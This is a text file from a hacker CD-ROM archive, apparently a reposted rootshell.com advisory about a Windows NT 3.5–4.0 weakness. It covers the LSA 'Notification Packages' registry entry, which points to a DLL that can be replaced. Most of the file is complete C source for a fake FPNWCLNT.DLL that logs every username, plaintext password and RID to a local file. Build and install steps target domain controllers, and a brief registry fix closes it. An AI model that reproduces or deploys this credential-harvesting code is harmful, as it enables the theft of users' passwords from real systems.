home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / ntpwgrabber.txt < prev    next >
Encoding:
Text File  |  2001-11-06  |  2.6 KB  |  112 lines

  1.  
  2. [ http://www.rootshell.com/ ]
  3.  
  4. NT Versions affected:
  5.  
  6. 3.5, 3.51, 4.0
  7.  
  8. Problem:
  9.  
  10. The registry includes a default entry for
  11. <HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa> which has a value
  12. <Notification Packages: REG_MULTI_SZ: FPNWCLNT>. This is a DLL which
  13. normally exists only in an Netware environment. A false FPNWCLNT.DLL can be
  14. stored in the %systemroot%\system32 directory which collects passwords in
  15. plain text.
  16.  
  17. Comple the below C code and .DEF file into a DLL called FPNWCLNT.DLL and
  18. copy it to %systemroot%\system32.
  19.  
  20. Reboot the machine. Password changes and new user creation are funnelled
  21. through this DLL with the following information, Username, Plaintext
  22. password, RID (relative domain id).
  23.  
  24. Install on the Primary domain controller for an NT domain, and it will
  25. capture all users passwords in plain text.
  26.  
  27. Exploit code follows:
  28.  
  29. -----------------cut here-------FPNWCLNT.c-----------------------------
  30. #include <windows.h>
  31. #include <stdio.h>
  32. #include <stdlib.h>
  33.  
  34. struct UNI_STRING {
  35. USHORT len;
  36. USHORT maxlen;
  37. WCHAR *buff;
  38. };
  39.  
  40. static HANDLE fh;
  41.  
  42. BOOLEAN __stdcall InitializeChangeNotify ()
  43. {
  44. DWORD wrote;
  45. fh = CreateFile("C:\\temp\\pwdchange.out",
  46. GENERIC_WRITE,
  47. FILE_SHARE_READ|FILE_SHARE_WRITE,
  48. 0,
  49. CREATE_ALWAYS,
  50. FILE_ATTRIBUTE_NORMAL|FILE_FLAG_WRITE_THROUGH,
  51. 0);
  52. WriteFile(fh, "InitializeChangeNotify started\n", 31, &wrote, 0);
  53. return TRUE;
  54. }
  55.  
  56. LONG __stdcall PasswordChangeNotify (
  57. struct UNI_STRING *user,
  58. ULONG rid,
  59. struct UNI_STRING *passwd
  60. )
  61. {
  62. DWORD wrote;
  63. WCHAR wbuf[200];
  64. char buf[512];
  65. char buf1[200];
  66. DWORD len;
  67.  
  68. memcpy(wbuf, user->buff, user->len);
  69. len = user->len/sizeof(WCHAR);
  70. wbuf[len] = 0;
  71. wcstombs(buf1, wbuf, 199);
  72. sprintf(buf, "User = %s : ", buf1);
  73. WriteFile(fh, buf, strlen(buf), &wrote, 0);
  74.  
  75. memcpy(wbuf, passwd->buff, passwd->len);
  76. len = passwd->len/sizeof(WCHAR);
  77. wbuf[len] = 0;
  78. wcstombs(buf1, wbuf, 199);
  79. sprintf(buf, "Password = %s : ", buf1);
  80. WriteFile(fh, buf, strlen(buf), &wrote, 0);
  81.  
  82. sprintf(buf, "RID = %x\n", rid);
  83. WriteFile(fh, buf, strlen(buf), &wrote, 0);
  84.  
  85. return 0L;
  86. }
  87. -----------------------end of
  88. FPNWCLNT.c------------------------------------
  89.  
  90.  
  91.  
  92. Verification:
  93.  
  94. Test it on your machine.
  95.  
  96. Fix:
  97.  
  98. The password sniffing DLL is placed as %SYSTEMROOT%\SYSTEM32\FPNWCLNT.DLL
  99. which is present in a netware environment, but otherwise does not exist. The
  100. registry by default does have an entry which points to this DLL.
  101.  
  102. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA 
  103.  
  104. has an entry 
  105.  
  106. Notification Packages: REG_MULTI_SZ: FPNWCLNT. 
  107.  
  108. Make sure you remove this entry and protect this location in the registry to
  109. read-only.
  110.  
  111. ----------------------------------------------------------------------
  112.